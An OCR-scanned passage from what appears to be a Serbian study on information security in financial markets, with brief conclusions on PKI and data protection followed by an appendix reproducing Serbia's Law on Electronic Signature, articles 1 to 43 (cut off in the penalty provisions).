parametara.

Finansijsko trziSte u naSoj zemlji je joS uvek u fazi razvoja, mada postoje izvesni
ohrabrujuci pocetni rezultati. Drugi nedostatak naSeg finanasijskog trzista je taj Sto joS
uvek nismo ukljuceni u evropske tokove, koji bi nas doveli u polozaj ucesnika na
finanasijskom trziStu Sirih razmera.

Ovakvo stanje je posledica tranzicionog procesa kroz koji smo prosli i joS uvek
prolazimo, a koji, na Zalost, zahteva prelazenje ovog trnovitog puta.

Bezbednost kako samih podataka, tako i njihove razmene u oblasti trgovine hartijama
od vrednosti je ipak na nivou, nesto visem nego Sto bi se to pod opisanim uslovima
ocekivalo. Zastita podataka je ostvarena pre svega zahvaljuju¢i radu malih timova po
institucijama finansijskog trzista, pri ¢emu se uocava nedostatak koordinacije u tom
pogledu
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Veoma je teSko predvideti $ta ¢e buduénost doneti u ovom pogledu. Ono Sto se sa
sigurno$¢u moze tvrditi je da se informacioni sistemi razvijaju ka distribuiranim, pa
samim tim 1 koncept zaStite mora biti odgovarajuci. Sigurno je da ¢e se pred sisteme
zaStite sistema postavljati sve sloZeniji zahtevi, imaju¢i u vidu interes da se vazni
podaci zastite.

Takode treba imati na umu ¢injenicu da se napadi na sisteme od interesa sprovode
planski 1 sistematski, te da se svakim danom pojavljuju nove metode napada, o ¢emu,
izmedu ostalog, svedo¢i svakodnevna pojava novih rac¢unarskih virusa.

Kada se govori o kretanju bezbednosti informacionih sistema finansijskih trzista u
svetu, misli se pre svega na zemlje razvijene zapadne ekonomije. Sasvim je sigurno da
¢e se razvoj zaStite pomenutih informacionih sistema nastaviti i to utoliko brze
ukoliko se efikasnije budu razvijali koncepti za napade na informacione sisteme.

Razvoj bezbednosti predstavlja imperativ ne samo na polju finansijskog trzista, ve¢ i
znatno Sire. U razvoj sistema zastite informacionih sistema se ulazu ogromna sredstva
pa je verovatno za ocekivati nove metode zastite koje Ce biti znatno efikasnije nego
dosadaSnje. NarocCitu paznju treba obratiti na razvoj kvantne kriptografije koja ¢e
sigurno igrati vaznu ulogu u buducnosti.

Za sad se dosledna implementacija PKI sistema bazirana na smart karticama, kao
nosiocima kriptografskih parametara, vidi kao resenje u doglednoj buduénosti.

Nesporno je da u nasoj zemlji postoje ogromni potencijali i visoko struc¢an 1 obrazovan
kadar koji je u stanju da realizuje najrazli¢itije oblike zastite elektronskih podataka.
Svakako je potrebno uzeti u obzir i ¢injenicu da je nasa zemlja iscrpljena dugotrajnim
ekonomskim sankcijama, ratom i posledicama tranzicije doZivela pad u svim
segmentima drustva.

Ipak, sac¢uvano je jezgro stru¢njaka koji mogu i imaju snage da pokrenu dalji razvoj
sistema bezbednosti informacionih sistema. Nesporno je da ¢e se i1 bezbednosni
sistemi u nasoj zemlji morati prilagodavati svetskim trendovima, ali je sre¢na okolnost
Sto postoje ljudi koji taj poduhvat mogu da izvedu.
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APPENDIX A

ZAKON
O ELEKTRONSKOM POTPISU

I OSNOVNE ODREDBE
Clan 1.

Ovim zakonom se ureduje upotreba elektronskog potpisa u pravnim poslovima
i drugim pravnim radnjama, poslovanju, kao i prava, obaveze i odgovornosti u
vezi sa elektronskim sertifikatima, ako posebnim zakonima nije drugacije
odredeno.

Odredbe ovog zakona primenjuju Se na opStenje organa, opsStenje organa i
stranaka, dostavljanje i izradu odluke organa u elektronskom obliku u
upravnom, sudskom i drugom postupku pred drzavnim organom - ako je
zakonom kojim se ureduje taj postupak propisana upotreba elektronskog
potpisa.

Clan 2.

Pojedini izrazi koji se koriste u ovom zakonu imaju sledece znacenje :

1) ,,Elektronski dokument* - dokument u elektronskom obliku koji se koristi u
pravnim poslovima i drugim pravnim radnjama, kao i u upravnom, sudskom i
drugom postupku pred drzavnim organom;

2) ,Elektronski potpis* - skup podataka u elektronskom obliku koji su
pridruzeni ili su logi¢ki povezani sa elektronskim dokumentom i koji sluze za
identifikaciju potpisnika;

3) ,,Kvalifikovani elektronski potpis“ - elektronski potpis kojim se pouzdano
garantuje identitet potpisnika, integritet elektronskih dokumenata, i
onemoguc¢ava naknadno poricanje odgovornosti za njihov sadrzaj, i koji
ispunjava uslove utvrdene ovim zakonom;

4) ,,Potpisnik® - lice koje poseduje sredstva za elektronsko potpisivanje i vrsi
elektronsko potpisivanje u svoje ime ili u ime pravnog ili fizickog lica;

5) ,,Podaci za formiranje elektronskog potpisa® - jedinstveni podaci, kao Sto su
kodovi ili privatni kriptografski kljucevi, koje potpisnik koristi za izradu
elektronskog potpisa;

6) ,.Sredstva za formiranje elektronskog potpisa“ - odgovarajuc¢a tehnic¢ka
sredstva (softver i hardver) koja se koriste za formiranje elektronskog potpisa,
uz korisc¢enje podataka za formiranje elektronskog potpisa;

7) ,Sredstva za formiranje kvalifikovanog elektronskog potpisa“ - sredstva za
formiranje elektronskog potpisa koja ispunjavaju uslove utvrdene ovim
zakonom;
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8) ,,Podaci za proveru elektronskog potpisa“ - podaci, kao Sto su kodovi ili
javni kriptografski kljucevi, koji se koriste za proveru i overu elektronskog
potpisa;

9) ,,Sredstva za proveru elektronskog potpisa®“ - odgovarajuca tehnicka sredstva
(softver i hardver) koja sluze za proveru elektronskog potpisa, uz koriséenje
podataka za proveru elektronskog potpisa;

10) ,,Sredstva za proveru kvalifikovanog elektronskog potpisa“ - sredstva za
proveru elektronskog potpisa koja ispunjavaju uslove utvrdene ovim zakonom;

11) ,Elektronski sertifikat“ - elektronski dokument kojim se potvrduje veza
izmedu podataka za proveru elektronskog potpisa i identiteta potpisnika;

12) ,,Kvalifikovani elektronski sertifikat” - elektronski sertifikat koji je izdat od
strane sertifikacionog tela za izdavanje kvalifikovanih elektronskih sertifikata i
sadrzi podatke predvidene ovim zakonom;

13) ,,Korisnik* - pravno lice, preduzetnik, drzavni organ, organ teritorijalne
autonomije, organ lokalne samouprave ili fizicko lice kome se izdaje
elektronski sertifikat;

14) ,Sertifikaciono telo* - pravno lice koje izdaje elektronske sertifikate u
skladu sa odredbama ovog zakona.

Clan 3.

Elektronskom dokumentu se ne moze osporiti punovaznost ili dokazna snaga

samo zbog toga Sto je u elektronskom obliku.

Stav 1. ovog ¢lana se ne primenjuje na :

1) pravne poslove kojima se vrSi prenos prava svojine na nepokretnosti ili
kojima se ustanovljavaju druga stvarna prava na nepokretnostima;

2) izjave stranaka i drugih ucesnika u postupku za raspravljanje zaostavstine,
formu zaveStanja, ugovore o ustupanju i raspodeli imovine za Zivota,
ugovore o dozivotnom izdrzavanju i sporazume u vezi sa nasledivanjem,
kao i druge ugovore iz oblasti naslednog prava;

3) ugovore o uredivanju imovinskih odnosa izmedu bra¢nih drugova;

4) ugovore o raspolaganju imovinom lica kojima je oduzeta poslovna
sposobnost;

5) ugovore o poklonu;

6) druge pravne poslove ili radnje, za koje je posebnim zakonom ili na osnovu
zakona donetih propisa, izri¢ito odredena upotreba svojeru¢nog potpisa u
dokumentima na papiru ili overa svojeru¢nog potpisa.

Clan 4.

Ako je zakonom ili drugim propisom predvideno da odredeni dokument treba
cuvati, to se moze uciniti i u elektronskom obliku, pod uslovom da je
elektronski dokument :

1) dostupan i da je na raspolaganju za kasniju upotrebu;

2) sacuvan u obliku u kome je formiran ili primljen;
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3) sacuvan na nac¢in koji omogucava identifikaciju vremena i mesta nastanka
ili prijema, i lica koje ga je formiralo;

4) formiran primenom tehnologije i postupaka koji omoguc¢avaju da se na
pouzdan nacin moze utvrditi bilo kakva izmena u elektronskom dokumentu.

Obaveza cuvanja dokumenta iz stava 1. ovog ¢lana, ne odnosi se na podatke

Ciji je jedini cilj da omoguce prijem ili slanje elektronskog dokumenta

(komunikacioni podaci).

Clan 5.

Lica koja cuvaju elektronske dokumente koji su elektronski potpisani, duzna su
da cuvaju podatke i sredstva za proveru elektronskog potpisa onoliko vremena
koliko se ¢uvaju sami dokumenti.

I ELEKTRONSKI POTPIS | KVALIFIKOVANI
ELEKTRONSKI POTPIS

Clan 6.

Elektronski potpis moze imati pravno dejstvo i moze se Koristiti kao dokazno
sredstvo u zakonom uredenom postupku, osim kada se, u skladu sa posebnim
zakonom, zahteva da samo svojerucni potpis ima pravno dejstvo i dokaznu
shagu.

Clan 7.

Kvalifikovani elektronski potpis, mora da zadovolji sledece uslove :

1) iskljucivo je povezan sa potpisnikom;

2) nedvosmisleno identifikuje potpisnika;

3) nastaje koris¢enjem sredstava kojima potpisnik moze samostalno da
upravlja i koja su iskljuc¢ivo pod nadzorom potpisnika;

4) direktno je povezan sa podacima na koje se odnosi, i to na nacin koji
nedvosmisleno omogucava uvid u bilo koju izmenu izvornih podataka;

5) formiran je sredstvima za formiranje kvalifikovanog elektronskog potpisa;

6) proverava se na osnovu kvalifikovanog elektronskog sertifikata potpisnika.

Clan 8.

Sredstva za formiranje kvalifikovanog elektronskog potpisa su sredstva koja

moraju da obezbede :

1) da se podaci za formiranje kvalifikovanog elektronskog potpisa mogu
pojaviti samo jednom i da je obezbedena njihova poverljivost;

2) dase iz podataka za proveru kvalifikovanog elektronskog potpisa nemogu u
razumno vreme i trenutno dostupnim sredstvima, dobiti podaci za
formiranje kvalifikovanog elektronskog potpisa;
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3) da kvalifikovani elektronski potpis bude zaSticen od falsifikovanja,
upotrebom trenutno dostupne tehnologije;

4) da podaci za formiranje kvalifikovanog elektronskog potpisa budu
pouzdano zasticeni od neovlaséenog korisc¢enja.

Sredstva za formiranje kvalifikovanog elektronskog potpisa, prilikom

formiranja potpisa, ne smeju promeniti podatke koji se potpisuju ili

onemoguciti potpisniku uvid u te podatke pre procesa formiranja

kvalifikovanog elektronskog potpisa.

Clan 9.

Sredstva za proveru kvalifikovanog elektronskog potpisa su sredstva koja

obezbeduju:

1) pouzdano utvrdivanje da podaci koriséeni za proveru elektronskog potpisa
odgovaraju podacima prikazanim licu koje vrsi proveru;

2) pouzdano verifikovanje potpisa i korektno prikazivanje rezultata provere;

3) omogucavanje pouzdanog uvida u sadrzaj potpisanih podataka;

4) pouzdano verifikovanje autenti¢nosti i validnosti elektronskog sertifikata
potpisnika u trenutku provere elektronskog potpisa;

5) korektno prikazivanje identiteta potpisnika;

6) da se bilo koje izmene u potpisanim podacima pouzdano otkriju.

Clan 10.

Kvalifikovani elektronski potpis u odnosu na podatke u elektronskom obliku
ima isto pravno dejstvo i dokaznu snagu kao i svojerucni potpis, odnosno
svojerucni potpis i pecat, u odnosu na podatke u papirnom obliku.

Clan 11.

Ministarstvo nadlezno za informaciono drustvo (u daljem tekstu: nadlezni
organ) propisuje tehnicko-tehnoloske postupke za formiranje kvalifikovanog
elektronskog potpisa i kriterijume koje treba da ispune sredstva za formiranje
kvalifikovanog elektronskog potpisa.

11l ELEKTRONSKI SERTIFIKATI |
SERTIFIKACIONA TELA
Clan 12.
Elektronski sertifikat, u smislu ovog zakona, je elektronska potvrda kojom se
potvrduje veza izmedu podataka za proveru elektronskog potpisa i identiteta

potpisnika.
Elektronske sertifikate izdaje sertifikaciono telo.
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Sertifikaciono telo u smislu ovog zakona jeste pravno lice koje drugim pravnim
i fizickim licima pruza usluge izdavanja elektronskih sertifikata, kao i druge
usluge povezane sa ovom delatnoscu.

Clan 13.

Sertifikacionim telima nije potrebna posebna dozvola za izdavanje elektronskih
sertifikata.

Clan 14.
Nadlezni organ vodi evidenciju sertifikacionih tela.
Clan 15.

Sertifikaciono telo je duzno da nadleznom organu prijavi pocetak obavljanja
usluga izdavanja elektronskih sertifikata, najmanje 15 dana pre pocetka rada.

Clan 16.

Nadlezni organ evidentira sertifikaciono telo odmah nakon podnoSenja prijave
kojom se nadlezni organ obaveStava o pocetku obavljanja usluga.
Nadlezni organ propisuje sadrzaj i nacin vodenja evidencije, obrasce prijave za
upis u evidenciju, prijave za upis promena kao i vrstu, sadrzaj i nacin
dostavljanja dokumentacije neophodne za uvodenje u evidenciju.

Clan 17.

Kvalifikovani elektronski sertifikat, u smislu ovog zakona, je elektronski
sertifikat koji izdaje sertifikaciono telo za izdavanje kvalifikovanih
elektronskih sertifikata i koji mora da sadrzi :

1) oznaku o tome da se radi o kvalifikovanom elektronskom sertifikatu;

2) skup podataka koji jedinstveno identifikuje pravno lice koje izdaje
sertifikat;

3) skup podataka koji jedinstveno identifikuje potpisnika;

4) podatke za proveru elektronskog potpisa, koji odgovaraju podacima za
izradu kvalifikovanog elektronskog potpisa, a koji su pod kontrolom
potpisnika;

5) podatke o pocetku i kraju vazenja elektronskog sertifikata;

6) identifikacionu oznaku izdatog elektronskog sertifikata;

7) kvalifikovani elektronski potpis sertifikacionog tela koje je izdalo
kvalifikovani elektronski sertifikat;

8) ogranicenja vezana za upotrebu sertifikata, ako ih ima.
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Clan 18.

Sertifikaciono telo za izdavanje kvalifikovanih elektronskih sertifikata mora

ispunjavati sledece uslove:

1) sposobnost za pouzdano obavljanje usluga izdavanja elektronskih
sertifikata;

2) bezbedno i azurno vodenje registra korisnika kao i sprovodenje bezbednog i
trenutnog opoziva elektronskog sertifikata;

3) obezbedivanje ta¢nog utvrdivanja datuma i vremena izdavanja ili opoziva
elektronskog sertifikata;

4) da izvrSava proveru identiteta i, ako je potrebno, drugih dodatnih obelezja
licu kojem se izdaje sertifikat, na pouzdan nacin i u skladu sa propisima;

5) da ima zaposlena lica sa specijalistickim znanjima, iskustvom i stru¢nim
kvalifikacijama potrebnim za vrSenje usluge izdavanja -elektronskih
sertifikata, a naroc¢ito u odnosu na: upravljacke sposobnosti, stru¢nost u
primeni tehnologija elektronskog potpisa i odgovarajucih sigurnosnih
procedura i bezbednu primenu odgovarajuc¢ih administrativnih i
upravljackih postupaka koji su usaglaseni sa priznatim standardima;

6) da koristi pouzdane sisteme i proizvode koji su zaSti¢eni od neovlasc¢enih
izmena i koji obezbeduju tehnicku i kriptografsku sigurnost procesa;

7) da preduzima mere protiv falsifikovanja elektronskih sertifikata, a u
slu¢ajevima u kojima generiSe podatke za formiranje elektronskog potpisa
da garantuje tajnost procesa formiranja tih podataka;

8) da obezbedi finansijske resurse za osiguranje od rizika i odgovornosti za
mogucu Stetu nastalu vrsenjem usluge izdavanja elektronskih sertifikata;

9) da obezbedi cuvanje svih relevantnih informacija koje se odnose na
elektronske sertifikate u propisanom vremenskom periodu i to u izvornom
obliku;

10)da ne ¢uva i ne kopira podatke za formiranje elektronskog potpisa za lica u
¢ije ime pruza tu uslugu;

11)da obezbedi sisteme za fizicku zaStitu uredaja, opreme i podataka, i
sigurnosna reSenja za zastitu od neovlasé¢enog pristupa;

12)da informiSe lica koja traze izdavanje kvalifikovanog elektronskog
sertifikata o tacnim uslovima izdavanja i koris¢enja tog sertifikata,
ukljucujuéi bilo koja ograni¢enja u koriscenju, kao i 0 postupcima za
reSavanje sporova. Takve informacije, koje mogu biti dostavljene
elektronski, moraju biti napisane i pripremljene u razumljivom obliku na
srpskom jeziku. Odgovaraju¢i delovi tih informacija moraju biti raspolozivi
na zahtev tre¢im licima koja koriste elektronski sertifikat;

13) da koristi pouzdan sistem upravljanja elektronskim sertifikatima u obliku
koji omogucava njihovu proveru kako bi:

() unos i promene radila samo ovlascena lica;
(b) mogla biti proverena autenti¢cnost informacija iz sertifikata;
(c) elektronski sertifikati bili javno raspolozivi za pretrazivanje samo u
onim
slucajevima za koje je vlasnik sertifikata dao saglasnost;
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(d) bilo koja tehnicka promena koja bi mogla da narusi bezbednosne
zahteve bila
poznata sertifikacionom telu.
Nadlezni organ propisuje blize uslove i nac¢in provere ispunjenosti uslova iz
stava 1. ovog ¢lana.

Clan 109.

Nadlezni organ vodi Registar sertifikacionih tela za izdavanje kvalifikovanih
elektronskih sertifikata u Republici Srbiji (u daljem tekstu: Registar).

Nadlezni organ propisuje sadrzaj i nac¢in vodenja Registra, nacin podnosenja
zahteva za upis u Registar, potrebnu dokumentaciju uz zahtev, obrazac zahteva,
kao i nacin objavljivanja podataka iz Registra.

Clan 20.

Ako sertifikaciono telo ispunjava uslove iz ¢lana 18. ovog zakona, nadlezni
organ donosi reSenje o upisu u Registar.

ReSenje se donosi na zahtev sertifikacionog tela, u roku od 30 dana od dana
podnosenja urednog zahteva.

ReSenje mora da sadrzi registarski broj pod kojim je sertifikaciono telo upisano
u Registar i datum upisa u Registar.

Sertifikaciono telo moze poceti da pruza usluge izdavanja kvalifikovanih
elektronskih sertifikata danom upisa u Registar.

Sertifikaciona tela koja su upisana u Registar mogu tu ¢injenicu da naznace u
izdatim kvalifikovanim sertifikatima.

Clan 21.

Izdavanje kvalifikovanih elektronskih sertifikata moze obavljati i organ
drzavne uprave, u skladu sa posebnim propisima.

Clan 22.
Registar i evidencija sertifikacionih tela dostupni su javnosti.
IV PRAVA, OBAVEZE | ODGOVORNOSTI
KORISNIKA | SERTIFIKACIONIH TELA
Clan 23.
Elektronski sertifikat se moze izdati korisniku na njegov zahtev, o ¢emu se
zakljucuje poseban ugovor.

Korisnik je slobodan u izboru sertifikacionog tela, osim u slucajevima
predvidenim posebnim propisima.
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Korisnik moze koristiti usluge sertifikacije jednog ili viSe sertifikacionih tela.
Clan 24.

Kvalifikovani elektronski sertifikat moze se izdati svakom licu na njegov
zahtev, na osnovu nesumnjivo utvrdenog identiteta i ostalih podataka o licu
koje je podnelo zahtev.

Clan 25.

Korisnik je duzan da ¢uva sredstva i podatke za formiranje elektronskog
potpisa od neovlaséenog pristupa i upotrebe i iste koristi u skladu sa odredbama
ovog zakona.

Clan 26.

Korisnik je duzan da dostavi sertifikacionom telu sve potrebne podatke i
informacije o promenama koje uti¢u ili mogu uticati na tacnost utvrdivanja
identiteta potpisnika odmah, a najkasnije u roku od sedam dana od dana
nastanka promene.

Korisnik je duzan da odmah zatrazi opoziv svog sertifikata u svim slu¢ajevima
gubitka ili oSte¢enja sredstava ili podataka za formiranje elektronskog potpisa.

Clan 27.

Korisnik odgovara za nepravilnosti koje su nastale zbog neispunjavanja
obaveza utvrdenih odredbama ¢l. 25. i 26. ovog zakona.
Korisnik moze biti osloboden odgovornosti u slucajevima kada se moze
dokazati da oSte¢eno lice nije preduzelo ili je pogreSno preduzelo radnje za
proveru elektronskog potpisa i elektronskog sertifikata.

Clan 28.

Sertifikaciono telo za izdavanje kvalifikovanih elektronskih sertifikata duzno je

da:

1) obezbedi da svaki izdati kvalifikovani elektronski sertifikat sadrzi sve
potrebne podatke u skladu sa ¢lanom 17. ovog zakona;

2) izvrsi potpunu proveru identiteta korisnika za koga vrsi usluge sertifikacije;

3) obezbedi tacnost i celovitost podataka koje unosi u evidenciju izdatih
sertifikata;

4) unese u svaki sertifikat osnovne podatke o svom identitetu;

5) omogu¢i svakom zainteresovanom licu uvid u identifikacione podatke
sertifikacionog tela i uvid u reSenje za izdavanje kvalifikovanih elektronskih
sertifikata;

6) vodi azurnu, ta¢nu i bezbednim merama zaSticenu evidenciju izdatih
elektronskih sertifikata koja mora da bude javno dostupna, osim u
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slucajevima kada vlasnik sertifikata izricito zahteva da njegovi podaci ne
budu javno dostupni;

7) vodi tacnu i bezbednim merama zaSticenu evidenciju nevazecih
elektronskih sertifikata;

8) obezbedi vidljiv podatak o ta¢nom datumu i vremenu (sat i minut)
izdavanja odnosno opoziva elektronskih sertifikata u evidenciji izdatih
elektronskih sertifikata;

9) postupa po odredbama zakona i drugih propisa kojima je uredena zaStita
licnih podataka.

Clan 29.

Sertifikaciono telo za izdavanje kvalifikovanih elektronskih sertifikata je duzno

da, pre zakljucivanja ugovora iz ¢lana 23. stav 1. ovog zakona, obavesti lice

koje je podnelo zahtev za izdavanje kvalifikovanog elektronskog sertifikata o

svim vaznim okolnostima njegove upotrebe.

Obavestenje iz stava 1. ovog ¢lana sadrzi:

1) izvod iz sadrzaja vazec¢ih propisa, internih pravila i drugih uslova koji se
odnose na upotrebu elektronskog sertifikata;

2) podatke o eventualnim ogranicenjima upotrebe elektronskog sertifikata;

3) podatke o odgovaraju¢im pravnim lekovima u slucaju spora;

4) podatke o merama koje treba da realizuju korisnici sertifikata i o potrebnoj
tehnologiji za bezbedno elektronsko potpisivanje i proveravanje
elektronskih potpisa.

Clan 30.

Sertifikaciono telo je duzno da prekine uslugu sertifikacije, odnosno izvrsi

opoziv izdatih kvalifikovanih elektronskih sertifikata, u slucajevima kad:

1) opoziv sertifikata zahteva vlasnik sertifikata ili njegov punomocnik;

2) vlasnik sertifikata izgubi poslovnu sposobnost ili je prestao da postoji ili su
se promenile okolnosti koje bitno uticu na vazenje sertifikata;

3) utvrdi da je podatak u sertifikatu pogreSan ili je sertifikat izdat na osnovu
pogresnih podataka;

4) utvrdi da su podaci za proveru elektronskog potpisa ili informacioni sistem
sertifikacionog tela ugrozeni na nacin koji uti¢e na bezbednost i pouzdanost
sertifikata;

5) utvrdi da su podaci za elektronsko potpisivanje ili informacioni sistem
vlasnika sertifikata ugrozeni na nacin koji utice na pouzdanost i bezbednost
izrade elektronskog potpisa;

6) prestaje sa radom ili mu je rad zabranjen, a izdati sertifikati su vazeci.

Sertifikaciono telo je duzno da azurno vodi evidenciju svih opozvanih

elektronskih sertifikata.

Sertifikaciono telo je duzno da obavesti korisnika o opozivu elektronskog

sertifikata u roku od 24 c¢asa od primljenog obaveStenja odnosno nastanka

okolnosti zbog kojih se elektronski sertifikat opoziva.
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Clan 31.

Sertifikaciono telo koje izdaje kvalifikovane elektronske sertifikate je duzno da
c¢uva kompletnu dokumentaciju o izdatim i opozvanim elektronskim
sertifikatima kao sredstvo za dokazivanje i verifikaciju u upravnim, sudskim i
drugim postupcima najmanje deset godina po prestanku vazenja kvalifikovanih
elektronskih sertifikata.

Podaci iz stava 1. ovog ¢lana mogu se ¢uvati u elektronskom obliku.

Clan 32.

Sertifikaciono telo je duzno da o raskidu ugovora zbog potrebe odnosno
namere prestanka obavljanja delatnosti, obavesti svakog korisnika i nadlezni
organ najmanje tri meseca pre nastanka ovih okolnosti.

Sertifikaciono telo je duzno da obezbedi kod drugog sertifikacionog tela
nastavak obavljanja usluge sertifikacije za korisnike kojima je izdalo
sertifikate, a ukoliko za to nema moguc¢nosti, duzno je da opozove sve izdate
sertifikate i 0 tome odmah obavesti nadlezni organ.

Sertifikaciono telo koje prekida sa obavljanjem poslova sertifikacije duzno je
da dostavi svu dokumentaciju u vezi sa obavljanjem usluge sertifikacije
drugom sertifikacionom telu na koga prenosi obaveze obavljanja usluge
sertifikacije, odnosno nadleznom organu ako nema drugog sertifikacionog tela.
Nadlezni organ mora odmah, na troSak sertifikacionog tela, izvrsiti opoziv svih
sertifikata koje je izdalo sertifikaciono telo koje je iz bilo kojih razloga
prekinulo obavljanje sertifikacije, a nije obezbedilo nastavljanje obavljanja
sertifikacije kod drugog sertifikacionog tela i nije opozvalo izdate sertifikate.

Clan 33.

Nadlezni organ propisuje najnizi iznos osiguranja od rizika i odgovornosti za
mogucu Stetu nastalu vrSenjem usluge izdavanja elektronskih sertifikata.

Clan 34.

Sertifikaciono telo koje izdaje kvalifikovane elektronske sertifikate ili garantuje

za kvalifikovane elektronske sertifikate drugog sertifikacionog tela, odgovorno

je za Stetu pricinjenu licu koje se pouzdalo u taj sertifikat, ako:

1) informacija koju sadrzi kvalifikovani elektronski sertifikat nije tac¢na u
trenutku njegovog izdavanja;

2) sertifikat ne sadrzi sve elemente propisane za kvalifikovani elektronski
sertifikat;

3) nije proverilo da potpisnik u trenutku izdavanja sertifikata poseduje podatke
za izradu elektronskog potpisa koji odgovaraju podacima za proveru
elektronskog potpisa koji su dati, odnosno identifikovani u sertifikatu;
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4) ne obezbedi da se podaci za izradu i podaci za proveru elektronskog potpisa
mogu Koristiti komplementarno, u slucaju kada te podatke generiSe
sertifikaciono telo;

5) propusti da opozove sertifikat u skladu sa odredbama c¢lana 30. ovog
zakona;

6) sertifikat ne sadrZi informacije o ogranicenjima koja se odnose na upotrebu
sertifikata, a koja su sadrzana u ugovoru sa korisnikom.

Sertifikaciono telo nije odgovorno za Stetu iz stava 1. ovog ¢lana, ako dokaze

da je postupalo u skladu sa zakonom i svojim opstim i internim pravilima rada.

Sertifikaciono telo nije odgovorno za Stetu koja je nastala zbog koriséenja

sertifikata izvan ogranicenja, ukoliko su ta ograni¢enja jasno naznacena u

sertifikatu.

Clan 35.

Elektronski sertifikati koje izdaje strano sertifikaciono telo ravnopravni su sa

domacim elektronskim sertifikatima.

Kvalifikovani elektronski sertifikati izdati od strane inostranih sertifikacionih

tela ravnopravni su sa domacim:

1) ako je inostrano sertifikaciono telo dobilo reSenje od nadleznog organa, u
skladu sa odredbama ¢l. 18. i 20. ovog zakona; ili

2) ako poticu iz zemlje sa kojom postoji bilateralni sporazum o medusobnom
priznavanju kvalifikovanih elektronskih sertifikata.

V NADZOR
Clan 36.

Nadlezni organ vrsi inspekcijski nadzor nad primenom ovog zakona i radom
sertifikacionih tela.

Nadzor nad radom sertifikacionih tela na poslovima prikupljanja, upotrebe i
zaStite licnih podataka korisnika vrSe organi odredeni zakonom i drugim
propisima kojima se ureduje zastita li¢nih podataka.

Clan 37.

U okviru inspekcijskog nadzora registrovanih i evidentiranih sertifikacionih

tela nadlezni organ:

1) utvrduje da li su ispunjeni uslovi propisani ovim zakonom i propisima
donetim za sprovodenje ovog zakona;

2) kontrolise pravilnost primene propisanih postupaka i organizaciono-
tehni¢kih mera, primenu internih pravila koja su u vezi sa uslovima
propisanim ovim zakonom i propisima donetim za sprovodenje ovog
zakona;

3) vrsi kontrolu postupka izdavanja, ¢uvanja i opoziva elektronskih sertifikata;
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4) vrsi kontrolu zakonitosti obavljanja drugih usluga sertifikacionih tela.
Clan 38.

U vrSenju inspekcijskog nadzora nad radom sertifikacionih tela ovlaséena lica

nadleznog organa imaju pravo i duznost da:

1) pregledaju akte i svu dokumentaciju koja je povezana sa tom delatnoséu;

2) provere njegove poslovne prostorije, informacioni sistem, racunarsku
mrezu, ostalu opremu, tehnicku dokumentaciju, kao i sigurnosne mere koje
se preduzimaju;

3) izvrSe uvid u celokupnu dokumentaciju, radi obezbedivanja dokaza ili
tacnog utvrdivanja eventualne neregularnosti.

Ovlasc¢eno lice nadleznog organa je duzno da cuva kao sluzbenu tajnu sve

podatke o sertifikatima i licne podatke o korisniku sertifikata.

Clan 39.

Ovlasc¢eno lice nadleznog organa reSenjem:

1) zabranjuje upotrebu neadekvatnih postupaka i infrastrukture, i daje rok
sertifikacionom telu u kojem je ono duzno da obezbedi adekvatne postupke
i infrastrukturu;

2) privremeno zabranjuje poslovanje sertifikacionog tela do otklanjanja
neadekvatnosti postupaka i infrastrukture;

3) nareduje privremeni opoziv nekog ili svih sertifikata izdatih od strane
sertifikacionog tela, ako postoji osnovana sumnja da se radi o
neadekvatnom postupku ili falsifikatu.

U sluc¢aju privremene zabrane poslovanja, sertifikati izdati do dana nastanka

uzroka zbog kojih je izrecena mera zabrane, ostaju u vaznosti.

Clan 40.

Ako sertifikaciono telo za izdavanje kvalifikovanih elektronskih sertifikata
prestane da ispunjava uslove propisane ovim zakonom nadlezni organ donosi
reSenje 0 njegovom brisanju iz registra sertifikacionih tela za izdavanje
kvalifikovanih elektronskih sertifikata.

ReSenje iz stava 1. ovog ¢lana konacno je i protiv njega se moze voditi upravni
spor.

Clan 41.
Sertifikaciono telo je duzno da u cilju sprovodenja nadzora omoguci
ovlaséenim licima nadleznog organa pristup u svoje poslovne prostorije i uvid

u podatke o poslovanju, uvid u poslovnu dokumentaciju, pristup registru
korisnika i primenjenoj racunarskoj opremi i uredajima.
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VI KAZNENE ODREDBE
Clan 42.

Novéanom kaznom od 100.000 do 400.000 dinara kaznice se za prekrsaj

korisnik - pravno lice:

1) koje ne ¢uva sredstva i podatke za formiranje elektronskog potpisa od
neovlaséenog pristupa i upotrebe i ako iste ne koristi u skladu sa odredbama
ovog zakona (¢lan 25);

2) koje u propisanom roku ne dostavi sertifikacionom telu potrebne podatke i
informacije o promenama koje utic¢u ili mogu uticati na ta¢nost utvrdivanja
identiteta potpisnika (¢lan 26. stav 1);

3) koje odmah ne dostavi sertifikacionom telu zahtev za opoziv elektronskog
sertifikata (¢lan 26. stav 2).

Korisnik - preduzetnik kaznice se za prekrsaje iz stava 1. ovog ¢lana novéanom

kaznom od 100.000 do 200.000 dinara.

Odgovorno lice u pravnom licu, drzavhom organu, organu teritorijalne

autonomije i organu lokalne samouprave kaznice se za prekrSaje iz stava 1.

ovog ¢lana novéanom kaznom od 12.000 do 20.000 dinara.

Korisnik - fizicko lice kaznice se za prekrsaje iz stava 1. ovog ¢lana novéanom

kaznom od 12.000 do 20.000 dinara.

Clan 43.

Novéanom kaznom od 200.000 do 400.000 dinara kaznice se za prekrsaj

sertifikaciono telo ako:

1) ne prijavi nadleznom organu pocetak obavljanja usluga izdavanja
elektronskih sertifikata (¢lan 15);

2) izda kvalifikovani elektronski sertifikat koji ne sadrzi sve potrebne podatke
(¢lan 17);

3) cuva i kopira podatke za formiranje elektronskog potpisa za lica u cije ime
pruza tu uslugu (¢lan 18. stav 1. tacka 10);

4) ne obavesti korisnika kome izdaje elektronski sertifikat o svim ta¢nim
uslovima izdavanja i koris¢enja elektronskog sertifikata (¢lan 18. stav 1.
tacka 12);

5) ne ispunjava obaveze propisane ¢lanom 28. ovog zakona;

6) ne prekine usluge sertifikacije odnosno ne izvrSi opoziv izdatih
kvalifikovanih elektronskih sertifikata u propisanim sluéajevima (¢lan 30.
stav 1);

7) ne vodi azurno evidenciju svih opozvanih elektronskih sertifikata (¢lan 30.
stav 2);

8) ne obavesti korisnika o opozivu elektronskog sertifikata u propisanom roku
(¢lan 30. stav 3);

9) ne cuva kompletnu dokumentaciju o izdatim i opozvanim kvalifikovanim
elektronskim sertifikatima u predvidenom roku (¢lan 31. stav 1);
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10) blagovremeno ne obavesti korisnike kojima je izdalo elektronske sertifikate
i nadlezni organ o okolnostima koje mogu dovesti do prestanka obavljanja
usluga sertifikacije (¢lan 32. stav 1);

